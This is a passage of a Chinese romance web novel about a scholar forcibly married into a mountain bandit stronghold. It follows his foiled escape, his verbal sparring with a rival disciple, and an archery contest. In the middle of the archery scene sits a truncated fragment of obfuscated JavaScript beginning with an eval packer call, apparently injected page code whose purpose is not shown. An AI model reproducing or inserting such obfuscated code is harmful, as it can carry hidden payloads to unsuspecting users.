纪文焕抬头,目光清朗地看向崔温茂:“寨主,我去望崖台时,见那里山茶花开得正好,便随手折了一些,编了个花环,想等阿瑶来了送给她,聊表心意。不料中途失足滚落山坡,那花环当时我已放在一旁干净的石头上,并未拿在手上。想来,陶兄如今立刻派人去望崖台边缘那处最大的岩石附近寻找,应当还能寻到。” 崔温茂指了方才说话的那个弟兄和另外一人:“你们去望崖台,仔细找找!” 厅内再次陷入寂静,只能听到火把燃烧的噼啪声。陶肃脸色阴晴不定,崔执瑶则好整以暇地看着他。纪文焕垂着眼,看不清神情。 等了约莫一炷香的时间,那两名弟兄去而复返,其中一人手中,赫然拿着一个用新鲜山茶花枝叶编就的花环,虽然有些散了,但花朵依旧娇艳,带着夜露的湿润。 “寨主,确实在望崖台的大石头边上找到了这个!” 陶肃脸色瞬间变得极其难看,嘴唇动了动,却一时说不出话来。 “行了!”崔温茂沉声开口,打破了沉寂,“还不快给姑爷松绑!”立刻有人上前为纪文焕解开绳索。 接着,崔温茂看向崔执瑶,语气缓和了些:“阿瑶,今日是爹不好,偏听偏信,不由分说便绑了你的夫婿,毁了你的新婚惊喜。现下误会既已解除,你们便回去好生休息吧。今晚也闹得够久了。” 崔执瑶却不动,目光如冰棱般射向陶肃:“爹,师兄仅凭臆测,三言两语便挑拨得爹误会我与纪郎,害纪郎平白受了好大的苦楚和惊吓,更是毁了我好好的洞房花烛。这事便这么轻飘飘地过了?” 崔温茂似乎已经料到她此举,温和问:“阿瑶想如何?” “女儿心眼小,最是记仇。”崔执瑶一字一句道,“师兄既然在新婚夜绑了我的郎君,让纪郎受了这般委屈。女儿少不得要讨回来。不如就让师兄也亲自体会一下被捆的滋味,绑了自个儿,在马厩里睡一夜吧。也好让他长长记性,日后莫要再捕风捉影,搬弄是非!” 崔温茂看了眼神情愤懑却又无法反驳的陶肃,又看看一脸倔强的女儿和旁边揉着手腕、低眉顺眼的“女婿”,似有些无奈,终摆了摆手:“既如此,陶肃,你就照你师妹说的办吧。” “师父!”陶肃难以置信。 “去吧!”崔温茂语气不容置疑。 陶肃胸脯剧烈起伏,不平地瞪了他们二人两眼,终究不敢违逆师命,只得咬牙领命:“……是,弟子领罚。” 此事算告一段落。崔执瑶不再多留,一把拉过刚被松绑、尚且有些踉跄的纪文焕,沉声道:“我们走。” 纪文焕几乎是被她强扯硬拽地拉出议事厅的。一路无话,只有夜风呼啸而过。进入新房时,崔执瑶像是将他整个人直接丢了进去,随后“哐当”一声重重关上房门,落了栓。 房间内红烛依旧,喜庆的布置未曾变动,却弥漫着一股山雨欲来的压抑气息。 崔执瑶转身,红妆未卸,一双美眸却燃着熊熊怒火,直直射向惊魂未定的纪文焕。 纪文焕对上她那恨不得剥了他的皮的眼神,如赴死般闭了闭眼,心头冰凉一片,只剩下一个念头—— 完了。 4. 第 4 章 崔执瑶看着他眼神躲闪、不敢直视自己的模样,冷哼一声,嘲讽道:“怎么不说话了?方才在喜堂之上,你不是还能言善辩得很吗?” 纪文焕挣扎地挤出一句:“我若说我真是去望崖台给你编花环的,你会信吗?” 崔执瑶步步逼近,语气不善:“你当我是傻子吗?” 纪文焕被她逼得连连后退,脚后跟“咚”地撞上了窗框,冰凉的木头触感让他意识到无路可退了。他瞥了眼身后的窗户,心里愈发心虚,眼神也更飘了。 直到崔执瑶在眼前站定,鼻尖几乎要触到他的衣襟,纪文焕才惊觉二人距离如此之近。一身大红喜服,本该是温存缱绻的光景,此刻却只剩剑拔弩张的僵持。 他喉结轻滚,忽然低声开口:“那你……想不想知道,我后来为何又没逃成?” 崔执瑶挑眉,语气不屑:“这还用你说?定然是陶肃追得快,把你堵了个正着,你还能往哪跑?” 纪文焕噎了一下,满心的“反转”被她一句话堵死,一时竟不知如何接话。 崔执瑶见他这般情状,唇角讥诮地弯了弯,却又转言道:“不过,我倒真有一事好奇——那只花环究竟怎么回事?总不至于是专程编来哄我的罢?” 纪文焕如握救命稻草,连忙点头,语速都快了几分:“我原是真想逃的!可翻出去才见寨外尽是密林,月黑风高,连颗指路的星子都没有,根本辨不清方向。走了没多远便心慌起来,想着与其在林间迷路困死,不如先折回寨中再作打算。” 他顿了顿,咽了咽喉咙,继续道:“我正犹豫着呢,听见身后传来响动,还夹着兵器碰擦的声音。我吓得躲进道旁灌木丛里,发现竟是陶肃带着几名守卫追来了。” “我当下便想,这绝非你的主意。你一直瞒着你爹将我劫来成婚,即便发觉我跑了,也只会暗中来寻,怎会让陶肃这般大张旗鼓地带人搜山?岂不是明摆着告诉你爹:你抢来的新郎官逃了?” 崔执瑶听到此处,面上寒色稍霁,竟几不可察地点了点头,似是认同他的推断。随即却又蹙眉追问:“寨中守卫不少,陶肃还特意加派了人手看住你。你毫无武功,怎能轻易脱身?” “这倒不难。”纪文焕悄然松了口气,话音也流畅些许,“今日是你大喜之日,守卫们皆想沾些喜气。我便邀他们喝几杯喜酒,他们难抵酒兴,我就在酒中掺了些蒙汗药,待他们昏睡过去,便趁机逃出来了。” 崔执瑶恨铁不成钢:“这般懈怠,我明日就告诉老爷子,看陶肃回头怎么交代!” 纪文焕皮笑肉不笑,知道她不会这样做,毕竟说了不就坐实逃跑了吗? 崔执瑶骂完,眸光又落回他脸上,似笑非笑道:“所以,你逃不成,又怕受责罚,便跑去望崖台编了个花环,再故意装作失足坠崖,好让陶肃以为你是意外遇险而非蓄意逃婚?如此,我便不好重罚于你——是也不是?” “差、差不多吧……”纪文焕含糊应声,音若蚊蚋,没告诉她自己是真的不小心摔下去了,动静太大才惊动了陶肃,哪是什么“故意装作”。 “哦?”崔执瑶眯起眼,“望崖台位置隐蔽,上次你不过远远瞥过一眼,怎就记得这般清楚,连黑夜都能寻到路?” “我记性向来不差。”纪文焕硬气了几分,“上次看见时便留心了周遭标记,譬如那株歪颈松,还有崖边三块叠石,循着记号去寻,并不难找。何况陶肃举着火把追来,望崖台地势高,火光一映便很显眼,自然能找到。” 崔执瑶听罢,轻轻一呵,讽意毫无遮掩:“那你还真是聪明。” 纪文焕被她这话激得脊背发麻,连连摆手:“不敢不敢!大小姐明察秋毫,我这点浅薄心思,哪敢在您面前卖弄。” 见她面色稍缓,赶忙趁势道,“我虽想逃跑,但后来还是及时止住了,甚至急中生智帮你反将了陶肃一军,该交代的也都已交代了。常言道坦白从宽,大小姐向来胸襟开阔,想必……不会与我这般文弱书生多计较吧?” 崔执瑶脸上那点笑意骤然淡去,眸色转冷。 纪文焕心头“咯噔”一响,顿生不祥之感。 “这几日你在我面前装得乖顺听话,是不是也为了麻痹我?”崔执瑶又逼近半步,气息几乎拂在他唇畔,“若不是你这般会演,我怎会只让映月一人守着你?纪文焕,你敢耍我?” 迎着她那双染了怒意的眸子,纪文焕一动不敢动,心里吸了口气,识时务地不再辩解,放软姿态:“大小姐,是我一时糊涂,不该心存侥幸,更不该耍这些小聪明欺瞒您。我保证,往后绝不再生逃念,定安安分分留在寨中,绝不添乱!” 崔执瑶原是攒了满腹火气的。可想起他今晚急智反击陶肃的情形,那口气便莫名泄了两分;此刻见他乖顺认错,低眉垂目的样子,她心头那点残存的火气便彻底消散了。她终于退开两步,给他让出了些许喘息的空间。 纪文焕肩头一松,那口气还没舒到底,就听见她声音里压着一缕隐隐的威胁:“纪文焕,我从前说过的话,可不是玩笑。你若再敢跑,我就……” “是是是,我明白,再不敢了。”他忙不迭接过话头,连声应道。 这番交锋暂歇,屋内的空气却仿佛凝住了,只余烛芯偶尔噼啪轻响。 崔执瑶不再看他,转身便往内间走去。纪文焕也坐回桌边,手指无意识地摩挲着粗陶杯,突然意识到崔执瑶是去沐浴了。 她不会要让自己跟她圆房吧? 这个念头一出,纪文焕只觉得脸颊发烫,坐立难安。他偷眼瞄了瞄里屋的方向,隐约能听到水声传来,心跳更是乱了节拍。 崔执瑶很快便推门出来了。 胡乱思忖间,崔执瑶已经出来了。见他仍怔怔坐着,不由蹙眉:“发什么呆?一身尘土,还不快去洗洗?” 纪文焕蓦地回神,转头望去,竟愣了一瞬。 她只穿着一身素白里衣,长发湿漉漉地披在肩侧,发梢还坠着些微水珠。卸去了白日里的利落装束,眉目被昏黄烛光晕染得格外柔和,那双总是盛着锐气的眼睛,此刻望过来,竟透出几分罕见的、近乎娇憨的清澈。 纪文焕目光在她身上停了停,神色变得有些古怪。他慢吞吞地起身,一步一挪地蹭进了内间。 崔执瑶被他那眼神看得莫名其妙。 纪文焕在里头磨蹭了许久,水声淅沥,心绪纷乱,脑子里尽是些乱七八糟的念头:待会出去该怎么拒绝她?若是她强行要求,自己该如何应对?她会不会暗中给自己下药? 待他终于收拾妥当,惴惴不安地走出 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既已醒透,他也睡不下去了,半撑起身问道:“如今什么时辰了?是不是该去给你父亲敬茶了?” 崔执瑶疑道:“敬茶?” 纪文焕也一怔:“难道你们这儿,新婚次日不需向长辈敬茶么?” “倒没听过这规矩。”崔执瑶似乎很有兴趣,“不过既是你们那儿的习俗,照着做也无妨。” “……” 纪文焕一时无言。他瞧着崔执瑶那副理所当然的模样,隐约明白过来,或许并非是此处没有这礼节,只是山寨行事粗鄙,不讲礼节。 于是,于是对于纪文焕来说又一道难关来了。 崔温茂见女儿女婿一同前来,不似自幼长在山寨的崔执瑶,他年轻时也曾行走四方,知晓礼数,心下顿时了然。 他看向纪文焕,温声道:“冬日天寒,难得文焕还有这份心意。” 纪文焕端着茶盏,却笑不出来。 见崔温茂望着自己,面上不显,眼中却流露出殷切,他喉结动了动,低声道:“请您喝茶。” 接着的话音更加艰涩,几乎是从齿缝间挤出那个字: “……爹。” 崔温茂朗声笑起来,接过茶饮了:“好、好、好。” 又转向崔执瑶:“阿瑶,人既是你带上山的,往后可得好好待人家,莫要委屈了他。” 崔执瑶应道:“女儿知道了。” 随即眼风往纪文焕那儿一扫,唇角微扬,眼神里明晃晃写着:你若识趣,我自不会亏待你。 崔温茂留他们用了早饭,席间纪文焕谈吐得体,言辞谦和熨帖,句句说到人心坎里。崔温茂虽表面不动声色,心底却早已心花怒放。 两人看似其乐融融,但从屋里出来,纪文焕却闷闷不乐。 他竟真的喊了那土匪头子一声“爹”?这不就等于认下了与崔执瑶这桩婚事?想他堂堂……怎能认贼作父!若是被他父亲知晓,怕是要气得家法伺候,打断他的腿不可。 不能再这样了,纪文焕越想越愤慨,他一定要赶紧离开这! 5. 第 5 章 两人从主寨一路往回走,途中遇见不少人——浣衣的妇人、修葺屋舍的汉子、采办归来的寨众,见到他俩都笑着招呼: “大小姐,姑爷!” “新婚大喜呀!” 崔执瑶皆落落大方地应了回去,遇见孩童还会俯身递块糖,笑得眉眼弯弯。纪文焕跟在她身后半步,看她这般笑意盈盈的模样,一时静默,心头却悄然掠过一丝异样——他们俩这般情景,倒真像是一对新婚燕尔的小夫妻。 但他随即醒过神来,暗暗蹙眉:这山寨果然民风粗朴,不知礼数。 崔执瑶并未直接往回走,而是带着纪文焕在寨中慢悠悠转了一大圈,口中不时指点。纪文焕表面听着,心神却早已飘远,暗自打量着各处路径与岗哨,重新思量起脱身之计。 直到日头将近正午,两人才回到自己那座小院。 一进院子,崔执瑶便道:“我去做饭,你想吃什么?” 纪文焕着实一惊:“你不是这里的大小姐么,还需亲自下厨?” 崔执瑶却觉理所当然:“他们唤我一声‘大小姐’,是因我爹当年建了这寨子,多年来又护着大伙安稳,这才推他为寨主,连带敬我几分。可山寨从不兴为奴为婢那套。我爹有几个徒弟照应起居,不必亲自操持。我又没收徒,饭食自然得自己动手。” 纪文焕又问:“那映月呢?她不是你的丫鬟?” “映月是我从山下救回来的丫头,先前在人家里为婢,被我救了便执意要跟着我报恩,我才留她在身边。自她来了,我确实少进厨房。” 她语气稍顿,抬眼看向纪文焕,眼里漾起一点略显生涩的暖意,“不过我想着……我们新婚,还是两个人清净些好,就暂时让她去我爹那儿帮忙了。” 纪文焕语气淡然:“你随意做些便是。” 说完踏进房间里。 很快他就为这句话感到了后悔。 午膳时分,崔执瑶端上桌的竟是一整片红彤彤的辣菜:豆腐浮着亮汪汪的辣油,肉片撒满辣椒碎,连清炒时蔬里都点缀着鲜红的干椒。满桌色泽艳丽,香气扑鼻,却也辣意逼人。 纪文焕自幼饮食清淡,几乎从不碰辣,此刻望着这桌菜,半晌没有动筷。 崔执瑶却吃得津津有味,下箸如飞,动作爽利却不显粗野。 纪文焕细嚼慢咽,吃相斯文至极。 崔执瑶吃完搁下碗,见他还在慢吞吞地对付那碗饭,忍不住开口:“你素日都这般用饭?” 纪文焕没好气道:“我家讲究礼数,岂能如你这般……”话到嘴边他挑了个不得罪人的措辞,“不拘小节!” 崔执瑶奇道:“你家不是没人了吗?” 纪文焕怒目圆瞪:“你……” 而后崔执瑶又想起他家中还有一位老人,连忙赔罪:“罪过罪过,你慢慢吃,能吃饱就行。” 见他只低头扒饭,几乎不碰菜,她又开口:“我做的菜不合口味?怎么都不夹?” 纪文焕懒得搭话,勉强伸筷夹了两片菜叶到碗里。 那辣味才一入口,就如小火燎过舌尖,纪文焕顿时眼眶发热,勉强咽下后便放下筷子,再也不愿尝试。 崔执瑶打量着他:“这样真能饱吗?” 纪文焕硬撑:“能。” 说话间却轻轻“嘶”了一声。崔执瑶目光落在他唇上——原先淡色的唇此时已染上嫣红,微微有些肿。 她心念微动,随即起身出去。再回来时,手里多了两张饼,递给纪文焕。 纪文焕蹙眉看着她。 崔执瑶声音低了些:“我不知你吃不得辣,是我不对。你方才没用多少,定还饿着。这饼你先垫垫,晚上我给你做些清淡的。” 纪文焕迟疑片刻,终究在面子与肚皮之间选了后者,接过饼默默吃了起来。 崔执瑶静静看着他。他吃得慢,唇上沾了一点饼屑,颊边随着咀嚼轻轻鼓动。她忽然轻声开口: “纪文焕,你这模样……看起来挺好亲的。” “咳、咳咳——”纪文焕猝不及防被呛住,耳根瞬间红透,连脖颈都漫上一层绯色,话也说不连贯,“你、你这女匪……胡言乱语什么!” 崔执瑶托着腮,眼里漾开笑意:“我们拜过堂成过亲了,说不得么?” 纪文焕说不过她,干脆闭嘴,一言不发地用力咬着手中的饼。 当晚歇息时,纪文焕仍像昨日一般要打地铺,崔执瑶却拦住了他:“你这是做什么?既已成亲,为何不与我一起睡?” 纪文焕拂开她的手,径自抱起被褥,连借口也懒得寻了:“你我如何成的亲,你心里清楚。你能强押着我拜堂,却休想逼我……” 他顿了顿,似觉难以启齿,见崔执瑶仍一副不解的模样,心一横还是低声道出:“……与你圆房。” 话音虽轻,崔执瑶却听得真切。 她轻笑一声:“我何时逼你圆房了?这等事岂是勉强得来的?你也将我想得太卑鄙了。” 纪文焕将被褥往地上一搁:“你还不够卑鄙么?” 她不再多言,忽然伸手握住他手腕。纪文焕一惊,还未及挣脱,已被她一把拉起身,踉跄两步跌坐在床沿。崔执瑶顺势按住他肩膀,将他往床里推了推。 他气得眼尾发红:“你看,还说不逼我……现下又将我推到你床上……” “我只是让你睡床罢了。”崔执瑶松开手,站在床前看着他,“你看着就身体不好,如今寒冬腊月,若在地上睡出病来怎么办?” 纪文焕立刻反驳:“你才身体不好。” 话赶得急了,竟呛咳起来:“咳咳……” 崔执瑶一脸“果然如此”的神情:“罢了罢了,你若不愿同睡,我身强体壮,我睡地上便是。” 纪文焕虽不喜她,却到底做不出让女子睡地的事,起身道:“不必,我睡地上。” 见他执意如此,崔执瑶只得随他。 不料次日清晨,崔执瑶醒来唤他时,却见纪文焕面色异样,说话声也虚浮无力。 她伸手一探他额头,果然滚烫。 崔执瑶二话不说将人扶到床上,又匆匆请来大夫。诊过说是染了风寒,开了几剂退热的药,嘱咐好生调理。 送走大夫,她去厨房煎上药,才回到床边替纪文焕掖了掖被角:“我说了你身子受不住地上寒气吧?” 纪文焕只觉呼出的气都灼人,难受得紧,却仍不肯示弱,语速缓慢地还嘴:“怎的你没说时我睡无事,一说我便发热……莫不是你在咒我?” 崔执瑶也不相让:“只有你咒我的份,我何曾咒过你?我倒 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纪文焕:“我自己来。” 崔执瑶这辈子难得这样耐着性子,把碗递给他:“行。” 药汁苦涩,纪文焕才抿一口就皱紧眉头:“没有糖么?” 崔执瑶在袖中摸了摸:“好像没了,你将就些吧,良药苦口。” 纪文焕瞥向桌面:“那儿……不是有蜜饯么。” 崔执瑶忍了忍,转身取来蜜饯碟子,看着他一口药、一口枣,总算将药喝完,忍不住低声嘀咕:“生病了还这么多事,若真把我惹急了,索性一碗直接给你灌下去,反正你眼下也没力气挣扎,我做什么你都只能受着。” 当然,即便他有力气,也不是她的对手。 “你敢?” “你瞧我敢不敢?” “果真是山匪作风,鄙夷粗蛮,毫无礼数。” “礼数礼数,你成日把礼数挂在嘴边,它能替你退烧,还是能帮你离开这儿?本姑娘不妨告诉你,在这归云寨,最没用的就是你那套虚礼!” 纪文焕向来擅辩,在家中从未有人能在口舌上占他半分便宜,可那都是在“讲理”的前提下。遇上崔执瑶这般不按常理、刀枪不入的,他那些文绉绉的词句仿佛撞上了软墙,无处着力。 他喘着气瞪了她好一会儿,最终闭上眼,重重倒回枕上,不再言语。 小样儿。 崔执瑶正觉畅快,忽然见他没了声响,心里又一咯噔——莫不是真把人气晕了?顿时那点得意消散无踪,只剩懊恼。 当晚崔执瑶并未宿在房内,而是歇在了院中另一间屋里——那是映月的房间,这几日正好空着。 纪文焕病着,一连两日都卧床将养。崔执瑶时常过来陪他说说话,可往往没说几句便又话不投机。 到了第三日,他身子已经大致好了,开始在院子里摆花弄草,却发觉整日未见崔执瑶身影,连午膳晚膳都是映月送的。 他接过汤碗,终究没忍住:“崔执瑶人呢?” 映月垂眼布菜:“小姐一早下山办事去了,吩咐我回来照看姑爷。” 话虽如此,纪文焕心里却忍不住嘀咕:她该不会……是被我气跑了吧? 6. 第 6 章 崔执瑶一消失便是三四日,杳无音信。 纪文焕心中难免惴惴,倒不是担心崔执瑶。只是在这山寨里,崔执瑶是他唯一熟悉的人,她一不在,他便觉得少颗定心丸,连带着周遭都显得陌生。 问映月,也只答说小姐下山几日是常事。 纪文焕索性也不急了,横竖衣食不曾短了他的。 这日,他决意再往外走走,探探附近的山势地形。 不知不觉竟走到了山寨的练武场,自然也遇见了陶肃。 彼时陶肃正在场中挽弓搭箭。 纪文焕知晓崔执瑶与他素有龃龉,不欲多事,转身欲走,陶肃却已眼尖地瞧见了他。 “哟,这不是咱们新姑爷吗?”陶肃扬声叫住他,嘴角噙着一丝笑,“怎的有兴致来演武场转转?” 纪文焕直觉此人来意不善,多半与崔执瑶有关,但仍客气应答:“陶兄,纪某初入山寨,难免处处新奇,随意走走,并无他意。” “原是如此。”陶肃目光在他周身一转,慢悠悠道:“看纪公子温文尔雅、仪态端方,与我那性子不羁的师妹实是南辕北辙。二位能结缘,倒真令人称奇。” 纪文焕虽不喜崔执瑶,却也知眼前之人更须提防。孰轻孰重,他分得清楚。 更何况,以崔执瑶那泼辣的性子,若他此刻露了破绽,只怕后果难料。 于是他违心应道:“陶兄此言差矣。我与崔……瑶娘性情相补,正是天赐良缘。” “说得也是。”陶肃颔首,“听闻纪公子是逃难途中为师妹所救,两情相悦,遂成佳话。说来也巧,师妹自幼长在寨中,下山次数寥寥,偏就遇着你这样一位称心人,果真是天意注定。” 他话音一顿,又道:“不过……姻缘终究是一生大事。纪公子若有什么难处,或是受何牵绊,不妨直言。归云寨虽非名门正派,却也容不得半分勉强。” 这番话看似体贴,实则句句是试探。 纪文焕不是不动心,可崔执瑶冷厉的警告犹在耳边,他也不敢轻信一个山匪。 他压下心虚,从容答道:“陶兄这话好没道理。我与瑶娘虽相识日浅,却一见如故。她能知我心意,我亦珍重其情。蒙她青眼,实是在下之幸。” 言及此,他话音微顿,目光坦然迎向陶肃,语中带上几分恰如其分的疑惑:“倒是陶兄,大婚当日便质疑这婚事真假,如今言语间仍是百般试探,似乎始终不愿相信。不知陶兄是见不得瑶娘觅得良缘,还是……单纯不喜纪某呢?” “纪公子严重了,陶某绝无此意。”陶肃脸色变了变,神情不算好看,却也不再就此纠缠,转而道:“这演武场是寨中子弟习武之地,纪公子既来了,不如赏脸与在下切磋一二?” 纪文焕心中暗恼,这人还没完没了了? 陶肃可还记得上次因他之故睡马厩的屈辱。平日纪文焕大门不出二门不迈,他不好发作,如今他自己送上门来,岂能放过。 “陶兄说笑了,”他拱手推辞,“纪某一介书生,向来不习武艺,怎敢与陶兄交手?” “看来纪公子是不愿赏这个脸了?” 纪文焕望向陶肃身后那些森然兵刃,与一众等着看热闹的山寨汉子,心知陶肃不过是想当众折辱他。 见陶肃纠缠不休,纪文焕明白,今日若不应对,怕是难以脱身了。 纪文焕连忙摆手,状似惶恐:“陶兄可别这么说,我哪里是不愿,实在是不敢啊!瑶娘常与我提起,您是寨中顶尖的好手,武力超群。我区区一个书生,手无缚鸡之力,连剑都未曾握稳,怎敢与您动手?” 他顿了顿,看向周围的汉子,声音诚恳:“在座的各位兄弟都看在眼里,陶兄若是赢了我,不过是胜了个手无缚鸡之力的弱者,传扬出去,旁人也只觉得您恃强凌弱,胜之不武,反倒折了你的威名,更显得您以力压人,坏了寨中不勉强的规矩——这对陶兄半点好处都没有,何苦来哉?” 陶肃眉头紧锁,冷声道:“纪公子想多了,我不过是想与你切磋一下,哪来这么多说道?” “切磋也需找对人才是。”纪文焕立刻接话,“陶兄方才还义正辞严,说婚姻大事容不得勉强。怎么到了比武切磋,反倒对我这个外行百般勉强起来?您自己立下的道理,莫非……只用在旁人身上?” 陶肃被他堵得一噎,脸色阵青阵白,竟一时语塞。 纪文焕顺势逼近半步,声音压低些许,却恰好让四周听得清楚:“还是说,陶兄本意并非切磋,只是想借武艺之名,逼我当众出丑,好看我的笑话?”他微微摇头,面露恰到好处的惋惜,“这可不像瑶娘口中的陶师兄啊——她常对我说,您为人最是磊落光明,从不屑于欺凌弱者。怎么今日一见,反倒……判若两人了呢?” 陶肃难看的脸色骤然一顿,像是抓住了什么:“她……真这么说我?” 纪文焕面不改色:“自然。瑶娘对您这位师兄向来敬重有加,在我面前更是赞誉不绝,听得我都有些吃味了。” 崔执瑶这尊大佛,果然好用。 陶肃也不知信了几分,一时脸涨得通红。他若再坚持比试,便是坐实了“不磊落”、“欺凌弱者”的指控,只得强压下心头火气,闷声道:“今日……是陶某考虑不周,唐突了,还请纪公子勿怪。” 纪文焕立刻见好就收,笑容诚挚:“我就知道,陶兄绝非那般不通情理之人!方才定是我多心了。既然如此,纪某还要多谢陶兄顾全大局,手下留情。” 纪文焕见陶肃不再纠缠,心下稍宽,正庆幸总算能离开这是非之地。 不料,一道清冷含威的嗓音自身后响起: “师兄何时这般清闲,竟有工夫为难起一个读书人了?” 崔执瑶一袭利落黑衣自远处走来,手中长剑未出鞘。 纪文焕一时看愣了。多日不见,她似乎清减了些,眼底还凝着一丝未散的倦意。 “他不懂武艺。”她脚步不停,径直挡在纪文焕身前,目光定在陶肃脸上,“师兄若想切磋,何不直接找我?” 见崔执瑶突然现身,还将纪文焕护在身后,陶肃眸光一闪,刹那间什么都明白了。 什么欣赏他光明磊落……崔执瑶怎么可能真心夸他?方才那番说辞,八成是纪文焕不愿与他交手,随口编造的推托之词。 眼见崔执瑶挡在纪文焕身前,陶肃只觉得那身影格外刺眼,胸中一股较劲的火焰“噌”地烧了起来。 他唇角冷冷一勾,语气里满是挑衅:“好啊,我也许久没领教师妹的高招了。不知师妹想比什么?” 崔执瑶目光扫过他手中的弓,淡然道:“师兄既然拿着弓,那就射箭。” “你确定?”陶肃几乎要笑出声,“待会输了,可别又说师兄欺负你。” 崔执瑶已许久不来练武场,而他日日在此苦练,箭术更是他引以为傲的强项。相比之下,崔执瑶向来以剑术见长,射箭从来都是他略胜一筹。 崔执瑶负手而立,下颌微扬:“确定。” 陶肃不再客气,挥手命人布置场地。不多时,四根丈许高的木柱分列两侧,构成一个长方形框架。两根横梁架于柱顶,中间悬着一股棉线,线上挂了十个铜钱。铜钱排成一列,钱眼相对,箭矢穿过铜钱孔才可中靶。 棉线柔韧,风一吹,铜钱便叮当作响,左右摇摆,钱眼时偏时正,极难瞄准。 陶肃扬声道:“一箭穿过最多铜钱孔、射中靶心者胜。师妹觉得如何?” “可以。”崔执瑶应得干脆。 陶肃脸色一沉,不再多言,张弓搭箭,双臂肌肉绷紧,拉满牛角弓。他目光如鹰隼般锁定那串晃动的铜钱,屏息等待风势稍缓的瞬间。终于,他抓住一个瞬间,猛地松弦—— 羽箭离弦,势如流星,接连穿透九枚钱眼,却在最后一枚时,被一阵突来的横风擦偏,“铎”地一声,钉在了靶上,箭尾兀自颤动。 四周顿时响起一片惊呼。 “九枚!”陶肃缓缓吐出一口气,脸上得意之色尽显。他转身看向崔执瑶,语气带着几分轻佻:“师妹,我这一箭如何?若你觉得太难,现在认输还来得及,师兄我不会笑话你的。” 他自信满满地望向崔执瑶。这成绩已是他平日里的上乘发挥,他笃定久未练箭的崔执瑶绝无可能超越。 崔执瑶却不急着动作,只静静立在原地,目光沉静地凝视着那串摇曳的铜钱。 纪文焕虽不习武,却见识过不少箭术高手,此刻也不得不承认陶肃这一手确实漂亮。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陶肃脸色骤变,快步上前查看。只见十枚铜钱的孔洞边缘,皆留下一道细密均匀的螺旋状划痕——正是箭身旋转穿过时留下的印记,每一枚都分毫不差地穿过中心。 “你……你这箭怎么能带着风把棉线捋直?”他失声问道,脸上满是不可置信。 崔执瑶随手将弓抛还给旁人。 “箭尾拧转,箭身便能如陀螺般稳定旋转,同时搅动气流,形成螺旋风带。”崔执瑶语气轻松,“这气流能裹住柔性棉线,如同用手捋顺绳索,既不损其形,又能令钱眼对齐。你等风停求稳,是被动等待时机;我以旋箭造风、顺势稳靶,是主动掌控局面。这便是旋转箭身的诀窍。单论箭法准头,我或许不及你,但射箭之道,既靠硬功夫,更靠巧借力。” 她目光清亮地看向陶肃,一字一句道:“师兄,这局是你输了。” 围观的汉子们纷纷凑上前来,对着那串铜钱啧啧称奇。 “原来是这么个道理!大小姐这心思和手法,绝了!” “陶老大干等风停,哪比得上主动控风来得高明!” 陶肃紧攥弓身,指节因用力而泛白,喉结滚动了几下,却一个字也说不出来。 崔执瑶不再看他,目光转向一旁有些不知所措的纪文焕,朗声道:“师兄,今日我话放在这里:纪文焕是我崔执瑶认定的夫君,他的人品、去留,自有我来判断,不劳你费心试探。我的人,我自会护着;我的眼光,也轮不到你来质疑!” 她话锋一转,“倒是师兄,与其操心我的终身大事,不如多想想如何精进武艺——免得下次切磋,又输给我。” 说完,她不再多看陶肃一眼,拉住纪文焕的手转身便走。 陶肃脸色由白转青,僵立在原地,听着四周的议论声,只觉得脸上火辣辣的疼。 走出人群,穿过校场,崔执瑶才放缓脚步,松开纪文焕的手:“说吧,你怎么惹着他了?” 纪文焕揉了揉手腕,苦着脸:“我真没惹他!就是随便逛逛,碰上了,他非要拦着我切磋武艺……其实你刚才不用出手的,你来时,我已经准备脱身了。” “你编的那番话实在令人作呕,”崔执瑶冷哼一声,“我怎么可能夸他光明磊落?他不过是个志得意满的小人。我早就想给他个教训,方才正是时机。” 她忽然停下脚步,转头审视着纪文焕:“倒是你,到处闲逛,该不会还存着逃跑的心思吧?” 纪文焕心中一凛,面上却强作镇定:“大小姐多虑了。在下只是先前病得久了,如今好了,就想到处走走。” 崔执瑶逼近他,见他僵着身子不敢动弹,她忽然嫣然一笑,用指尖轻轻掸了掸他肩头并不存在的灰尘,声音轻柔却带着警告: “你最好是。” 7. 第 7 章 纪文焕面上不显,脊背却悄悄起了一层寒意。 两人并肩而行,前方不远处正有一行车队缓缓经过。 崔执瑶忽然开口:“你可知我这几日下山做什么去了?” 这问题纪文焕也想过。这山寨规模颇大,虽能自给,可他在寨中数日,所见寨民衣食俱足,甚至称得上殷实。想起客栈那些天,崔执瑶总是一身夜行衣来看他——山匪的营生,并不难猜。 纪文焕淡淡道:“略知一二。” 崔执瑶也不追问他是如何知晓的,语气里反带了几分得意:“瞧见那些箱子没?里头可都是好东西,全是我领着弟兄们‘请’回来的。” 纪文焕心中暗嗤:做土匪还做出威风来了。 却仍平静顺着她的话问:“平日少见寨中人下山,银钱虽有了,却往何处使?” 崔执瑶道:“寨子里能人多,会手艺的自己摆摊营生,我们这儿也有小集市。” 这事纪文焕逛寨时也见过,只是那集市货物种类有限,许多东西终究是买不着的。 纪文焕:“集市我去过,可有些物事终究是缺的吧?” “是啊,”崔执瑶颔首,“所以这些银子多半还是用在寨子开销上。我爹会定期差人采办些必需之物,按各家所需分下去,不收分文。” 这不就是公中采办么? 纪文焕说话带着刺:“你们山寨倒是如出一辙的霸道做派。看来进了这山门,便是一辈子也出不去了。” “我爹带人上山前,都会言明此生不得下山。他们心甘情愿,才会留在这。”崔执瑶语气平静,“寨里许多人原是在山下活不下去的,在这儿能吃饱穿暖,自然也就不想走了。” 纪文焕霎时明白了这规矩的关窍——当初他被蒙着眼扛上山,连路都辨不清。再想起崔执瑶曾提过有办法让他的那些仇家找不到他,便知崔温茂立这规矩,是为不暴露山寨的位置。 如此,官兵便难以寻踪清剿。 纪文焕又问:“那在此地出生的孩子呢?生来便被拘在这山中,难道不想下山去看看?” 崔执瑶道:“寨子建的年头不算长,在这儿出生的孩子,最大的也不到三十。他们未曾见过山下的世道,而他们的爹娘,大多对山外没什么好念想,自然也不会说什么好话。多数人只觉得山下是险恶之地,并无离去之心。”她顿了顿,又道,“我爹如今年纪大了,不爱下山,也少带新人上来了。” “何况也并非全……”话至一半,她忽地收声,眸光一锐,“你在套我的话?” 纪文焕神色坦然:“何出此言?” 崔执瑶辨不出他的神色真伪,却仍留了心,不欲在此事上多言。 无需她答,纪文焕也已猜到——这寨中定然不是人人都下不得山。至少那采买的差事,总得有固定的一批人往来山路。 